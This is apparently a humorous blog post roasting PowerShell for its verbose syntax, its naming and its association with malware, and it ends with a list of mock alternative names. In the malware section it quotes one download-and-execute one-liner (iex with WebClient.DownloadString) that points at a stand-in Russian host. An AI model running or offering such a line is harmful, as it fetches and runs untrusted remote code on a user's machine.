PowerShell
PowerShell Roast: A Tragicomedy in One Shell
Let’s take a moment of silence for PowerShell... just long enough for Get-VerboseParameterThatDoesNothingUseful to finish running.
First off, the name: "PowerShell"
Why “Power”?
Because calling it “MediocreShellWithWayTooManyDashes” probably didn’t pass Microsoft’s marketing team.
But seriously, naming it PowerShell is like naming a scooter “PowerBike” and then bragging it can climb hills if you write 300 lines of XML first.
Meanwhile in Unix:
tar -xzvf something.tar.gz
Yes, it’s cryptic. Yes, we Google it every time. But at least it doesn’t sound like a rejected Marvel supervillain.
Command Syntax:
Unix:
rm -rf ~/regrets
PowerShell:
Get-ChildItem -Path C:\regrets\ -Recurse | Remove-Item -Force
PowerShell commands are so verbose, they come with footnotes and a postscript. It's not a shell — it's a freakin' legal document. You don’t run commands, you submit them to HR for approval.
Even worse, when you're deep in PowerShell, typing ls still works — but surprise! It’s an alias for Get-ChildItem, not that ls. It’s like saying “sushi” and getting a microwaved fish stick in soy sauce.
Backward Compatibility (or lack thereof)
PowerShell’s CMD compatibility is like putting a museum exhibit of dinosaurs inside your Tesla — you can, but why? And yes, you can run CMD inside PowerShell, but only if you enjoy recursive sadness.
It’s like using Chrome to download Internet Explorer. Actually, it’s worse. It’s like installing Edge, just to open it once and go, “Nah.”
And don't even think about trying to run .bat files natively in PowerShell without hitting syntax errors that make even Satan go, "That's a bit much."
The Unspoken Truth: Malware Playground
Let’s be real — when someone opens PowerShell in 2025, two things are likely:
- They’re a rare Windows sysadmin trying to resurrect a dead domain controller.
- You’re being hacked.
Every pentest tutorial and malware payload on the dark web starts with:
iex ((New-Object System.Net.WebClient).DownloadString("http://definitely-not-malware.ru/install.ps1"))
So unless you're a Windows Jedi Knight of Active Directory or love living on the edge of danger, PowerShell is not for you.
Conclusion:
PowerShell is like a bureaucrat’s dream — long-winded, inconsistent, backward-incompatible, and when someone opens it, you just assume they’re up to no good.
If Bash is a katana, PowerShell is a ballpoint pen duct-taped to a Swiss Army knife... written in C#.
It tries to be powerful, but ends up being PowerlessShell... ---
If it wasn't PowerShell?
If it wasn’t called PowerShell, here are some “more honest” names Microsoft could’ve gone with — complete with reasons:
1. VerbNoun.exe
Reason: Because every command is a goddamn Mad Lib.
Get-Process
Start-Service
Stop-BeingProductive
It perfectly captures the soul of PowerShell: pretend you're a grammar teacher trying to debug a server.
2. DotNetShell
Reason: Built entirely on the .NET framework — aka the giant Swiss Army framework of Microsoft.
But we all know that when .NET breaks, it really breaks — and so does your will to live.
3. TryHardShell
Reason: It wants to be Bash, Python, and Excel VBA at the same time.
It’s the overachiever in class who studied all night and still failed because nobody asked for an object pipeline during a server reboot.
4. WinScriptor
Reason: Sounds cool and fantasy-ish, like a wizard...
Which is fitting, because you’ll need a spellbook and a ritual circle to remember half the syntax.
5. RedFlagPrompt
Reason: When PowerShell opens up on your computer and you didn’t open it,
something bad is happening.
Either a rogue script is installing ransomware or a developer is trying to get “clever” with automation. Either way: run.
6. Microsoft Clippy for Servers
Reason:
“It looks like you’re trying to run a script. Would you like to add 40 more flags you don’t understand?”
PowerShell is the ghost of Clippy, reincarnated as a scripting language that can crash your Exchange server.
7. ObfuscaShell
Reason: The only shell where base64 payloads look cleaner than the official syntax.
In conclusion: PowerShell was a branding move, not a developer-friendly reality. They should’ve just called it:
"LookBusyShell" — because no one questions you if a blue window full of verbs is open.
